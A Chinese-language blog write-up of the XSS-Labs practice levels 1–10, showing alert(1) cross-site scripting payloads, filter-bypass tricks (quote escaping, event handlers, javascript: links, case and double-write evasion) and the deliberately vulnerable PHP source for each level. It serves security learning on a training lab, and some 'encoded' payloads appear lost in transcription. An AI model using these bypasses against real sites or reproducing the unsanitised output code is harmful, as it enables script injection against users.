XSS-Labs(Level1-10)
Level-1
简单尝试
使用基础poc<script>alert(1)</script>
代码审计
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
发现一点过滤都没有,直接将name
接收到的参数进行输出,导致弹窗
Level-2
简单尝试
构造POC:<script>alert(1)</script>
,发现并没有弹窗,看一下前端回显部分源码
<h2 align=center>没有找到和<script>alert(1)</script>相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="<script>alert(1)</script>">
<input type=submit name=submit value="搜索"/>
</form>
绕过分析
发现<h2>标签部分对$str
进行了实体转化.htmlspecialchars(),所以尝试对<input>进行构造payload:"onclick="alert(1)
,当然这里用onnouseove=''
也可以
<h2 align=center>没有找到和" onclick="alert(1)相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="" onclick="alert(1)">
<input type=submit name=submit value="搜索"/>
</form>
源码审计
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">//这里直接将$str进行输出,仍然没有进行过滤,可能这样对我这种小白比较友好吧.....
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
Level-3
简单尝试
构造POC"onclick="alert(1)
,发现并没有触发xss,查看一下前端源码
<h2 align=center>没有找到和" onclick="alert(1)相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword value='" onclick="alert(1)'><!--原来是对$str进行了实体编码,所以我们重新构造payload-->
<input type=submit name=submit value=搜索 />
</form>
绕过分析
双引号被转移,所以使用单引号绕过,payload:'onclick='alert(1)
源码审计
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>//此处对单引号进行转移
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
Level-4
简单尝试
构造poc:"onclick="alert(1)
,成功弹窗
<h2 align=center>没有找到和"onclick="alert(1)相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value=""onclick="alert(1)">
<input type=submit name=submit value=搜索 />
</form>
源码审计
这和上一个level有什么不一样嘛?打开源码才知道....
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2); //只是对<>进行过滤,奈何咱们没用<>,嘿嘿
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
Level-5
简单尝试
???怎么又是input标签?尝试一下上一关的poc"onclick="alert(1)
,发现并没有成功
<h2 align=center>没有找到和test"onclick="alert(1)相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value="test"o_nclick="alert(1)"><!--发现这里是对on进行了替换:on->o_n-->
<input type=submit name=submit value=搜索 />
</form>
绕过分析
- 尝试一下基础poc:
"><script>alert(1)</script>//
<h2 align=center>没有找到和"><script>alert(1)</script>//相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value=""><scr_ipt>alert(1)</script>//"><!--发现前面的<script>进行替换,后面却正常,所以判断其对<script进行替换-->
<input type=submit name=submit value=搜索 />
</form>
- 既然单独的script没有被过滤,所以构造新的payload进行绕过:
"><a href='javascript:alert(1)'>
<input name=keyword value=""><a href='javascript:alert(1)'>">
源码审计
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);//对<script进行字符替换
$str3=str_replace("on","o_n",$str2);//对on进行字符替换
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
Level-6
简单尝试
- 构造onlick的poc
"onclick="anlert(1)
<input name=keyword value="" o_nclick="alert(1)"><!--又是对on进行替换>
- 尝试基础poc
<script>alert(1)</script>
<input name=keyword value="<scr_ipt>alert(1)</script>"><!--仍然对<script进行替换-->
- 尝试伪协议poc:
"><a href='javascript:alert(1)'>
<input name=keyword value=""><a hr_ef='javascript:alert(1)'>"><!--这里新添加对href进行替换-->
绕过分析
既然都被过滤,就从以下三个方面入手
- 大小写
- 重复写
- 编码绕过
这里先尝试大小写,重新构造payload:"><a Href='javascript:alert(1)'>
<input name=keyword value=""><a Href='javascript:alert(1)'>">
源码审计
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
Level-7
简单尝试
继续使用伪协议poc:"><a Href='javascript:alert(1)'>
<input name=keyword value=""><a ='java:alert(1)'>"><!--后端过滤了href script-->
绕过分析
尝试复写绕过,构造新payload"><a hrehreff='javascscriptript:alert(1)'>
源码审计
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);//总的来说,只是把敏感字符串删除,并没有替换安全啊
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
Level-8
简单尝试
添加链接?尝试一下伪协议咯poc:javascript='alert(1)'
<a href="javascr_ipt='alert(1)'">友情链接</a><!--script进行了替换-->
尝试一下大小写呢?poc:javasCript='alert(1)'
<a href="javascr_ipt='alert(1)'">友情链接</a><!--仍然没有变,看来进行了大小写转化-->
绕过分析
既然被转化过滤了,复写也没办法,那就进行编码尝试,payload:javascript:alert(1)
源码分析
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);//加入了大写变小写的转化函数
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
Level-9
简单尝试
构造伪协议poc:javascript:alert(1)
<a href="您的链接不合法?有没有!">友情链接</a>
绕过分析
因为我不晓得他为什么不更新参数,所以我看了一下源码
<?php
if(false===strpos($str7,'http://'))//进行判断有没有,strpos() 函数查找字符串在另一字符串中第一次出现的位置。
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
得,原来他需要http://
,重新构造payload:javascript:alert(1)//http://
<a href="javascr_ipt:alert(1)//http://">友情链接</a><!--又替换了script-->
继续编码注入,javascript:alert(1)//http://
源码审计
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
Level-10
简单尝试
一看没有输入框,查看一下网页前端代码
<h2 align=center>没有找到和well done!相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
发现有三个隐藏表单,通过构造poc,查看回显源码
<h2 align=center>没有找到和<script>alert(1)<script>相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value=""onclick="alert(1)" type="hidden"><!--发现只有这个标签有变化-->
</form>
绕过分析
通过上面得标签,直接修改元素,将hidden删除,点击触发xss
源码审计
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步